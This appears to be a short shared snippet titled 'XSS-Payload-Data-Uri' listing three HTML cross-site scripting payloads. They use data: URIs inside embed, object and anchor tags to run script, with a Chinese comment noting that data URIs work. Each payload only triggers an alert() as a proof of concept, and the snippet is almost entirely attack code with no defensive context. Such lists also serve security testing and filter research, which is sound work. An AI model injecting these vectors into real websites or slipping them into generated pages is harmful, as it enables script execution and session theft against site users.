XSS-Payload-Data-Uri

by zicai

HTML

<!-- 可以使用 data uri  -->

<embed src="data:text/html,<script>alert('embed-src')</script>" type="">

<object data="data:text/html,<script>alert('object-data')</script>" type=""></object>

<a href="data:text/html,<script>alert('a-href')</script>">click me</a>